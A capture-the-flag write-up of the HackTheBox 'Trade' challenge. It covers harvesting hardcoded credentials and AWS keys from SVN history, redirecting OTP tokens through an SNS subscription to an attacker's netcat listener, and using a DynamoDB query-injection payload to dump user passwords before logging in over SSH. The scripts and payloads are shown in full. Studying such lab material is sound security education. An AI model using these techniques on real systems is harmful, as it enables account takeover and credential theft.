The HackTheBox Business CTF 2022 challenge “Trade” in the “Cloud” category started with the usual nmap
scan which revealed the open ports 22, 80, 3690. On port 80, the web interface only presents a login interface.
3690 is the port used by SVN, we can use this to check out the repository by running svn ls svn://10.129.209.231/ ; svn co svn://10.129.209.231/store
.
The file dynamo.py
from the repository contains the following credentials:
client.put_item(TableName='users', Item={ 'username': { 'S': 'marcus' }, 'password': { 'S': 'dFc42BvUs02' }, } )
When trying to use these credentials on the web interface, an OTP token is requested next in the login flow.
The checked out repository also contain the history of the repository. There were 5 commits being made. In the 2nd commit, the file sns.py
was committed including AWS keys. This version can for example be extracted by running svn cat 'svn://cloud.htb/store/sns.py@2'
. The keys were configured at the top of the file:
#!/usr/bin/env python from __future__ import print_function import json import os import urllib import zlib from time import strftime, gmtime import time import boto3 import botocore import concurrent.futures region = 'us-east-2' max_threads = os.environ['THREADS'] log_time = os.environ['LOG_TIME'] access_key = 'AKIA5M34BDN8GCJGRFFB' secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'
The remainder of the file also shows that S3 and SNS is being used by the application. The key did not work to access S3, but SNS worked. This script was used to list the existing topics:
#!/usr/bin/env python from __future__ import print_function import logging import json import os import urllib import zlib from time import strftime, gmtime import time import boto3 import botocore import concurrent.futures # logger config logger = logging.getLogger() logging.basicConfig(level=logging.INFO, format='%(asctime)s: %(levelname)s: %(message)s') region = 'us-east-2' max_threads = 2 log_time = '12345' access_key = 'AKIA5M34BDN8GCJGRFFB' secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn' sns_client = boto3.client('sns', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id) def list_topics(): """ Lists all SNS notification topics using paginator. """ try: paginator = sns_client.get_paginator('list_topics') # creating a PageIterator from the paginator page_iterator = paginator.paginate().build_full_result() topics_list = [] # loop through each page from page_iterator for page in page_iterator['Topics']: topics_list.append(page['TopicArn']) except ClientError: logger.exception(f'Could not list SNS topics.') raise else: return topics_list if __name__ == '__main__': logger.info(f'Listing all SNS topics...') topics = list_topics() for topic in topics: logger.info(topic)
Which when ran returned the following:
./list_sns_topics.py 2022-07-15 20:24:58,956: INFO: Listing all SNS topics... 2022-07-15 20:24:59,383: INFO: arn:aws:sns:us-east-2:000000000000:otp
Using that information, another script was used to subscribe to this topic:
#!/usr/bin/env python from __future__ import print_function import logging import json import os import urllib import zlib from time import strftime, gmtime import time import boto3 import botocore import concurrent.futures # logger config logger = logging.getLogger() logging.basicConfig(level=logging.INFO, format='%(asctime)s: %(levelname)s: %(message)s') region = 'us-east-2' max_threads = 2 log_time = '12345' access_key = 'AKIA5M34BDN8GCJGRFFB' secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn' sns_client = boto3.client('sns', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id) def subscribe(topic, protocol, endpoint): try: subscription = sns_client.subscribe( TopicArn=topic, Protocol=protocol, Endpoint=endpoint, ReturnSubscriptionArn=True)['SubscriptionArn'] except ClientError: logger.exception( "Couldn't subscribe {protocol} {endpoint} to topic {topic}.") raise else: return subscription if __name__ == '__main__': topic_arn = 'arn:aws:sns:us-east-2:000000000000:otp' protocol = 'http' endpoint = 'http://10.10.14.112/' logger.info('Subscribing to a SNS topic...') response = subscribe(topic_arn, protocol, endpoint) logger.info( f'Subscribed to a topic successfully.\nSubscription Arn - {response}')
With this a HTTP subscription was setup. A locally started netcat
on port 80 was then started, and the login on the webinterface with the credentials from the dynamo.py
file was tried again. The netcat
received the following request containing the OTP token:
$ sudo nc -vnlp 80 listening on [any] 80 ... connect to [10.10.14.112] from (UNKNOWN) [10.129.209.231] 33240 POST / HTTP/1.1 Host: 10.10.14.112 User-Agent: Amazon Simple Notification Service Agent Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: text/plain x-amz-sns-message-type: Notification x-amz-sns-topic-arn: arn:aws:sns:us-east-2:000000000000:otp x-amz-sns-subscription-arn: arn:aws:sns:us-east-2:000000000000:otp:08232414-0f9d-4f8b-b944-e009e5883611 Content-Length: 529 {"Type": "Notification", "MessageId": "6d600b5d-1136-44be-8d8a-4d720c649e08", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "{\"otp\": \"18012377\"}", "Timestamp": "2022-07-15T18:46:14.618Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "UnsubscribeURL": "http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:08232414-0f9d-4f8b-b944-e009e5883611"}
With that token the login was now finally possible.
None of the shop functionality appeared to function. Adding products to the cart was performed locally in the browser, no request was sent to the web server. Only the search functionality worked.
Sending the payload *"
produced the following error message on the search interface:
JSONDecodeError: {"servername": {"ComparisonOperator": "EQ","AttributeValueList": [{"S": "*""}]}}
This points again to DynamoDB. Since the input is not being sanitized, another search clause can be injected into the query. Since the error also includes the full search query, this can be done rather easy. The following payload was used:
*"}]},"servername": {"ComparisonOperator": "GT","AttributeValueList": [{"S": "*
The query processed by the server should now be this:
{ "servername": { "ComparisonOperator": "EQ", "AttributeValueList": [{"S": "*"}] }, "servername": { "ComparisonOperator": "GT", "AttributeValueList": [{"S": "*"}]} }
Which essentially returns all data stored in it, as can be seen here:
With one of the now returned credentials (mario/cD034%hJqW10
) it was possible to login on the SSH port of the system and get the flag:
$ ssh mario@cloud.htb mario@cloud.htb's password: Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 15 Jul 2022 07:41:43 PM UTC System load: 0.0 Usage of /: 71.8% of 6.53GB Memory usage: 20% Swap usage: 0% Processes: 172 Users logged in: 0 IPv4 address for br-cb9e7140726f: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.129.209.231 IPv6 address for ens160: dead:beef::250:56ff:feb9:aac4 195 updates can be applied immediately. 111 of these updates are standard security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update mario@trade:~$ ls flag.txt mario@trade:~$ cat flag.txt HTB{dyn4m0_1nj3ct10ns_4r3_w31rd_4bFgc1!} mario@trade:~$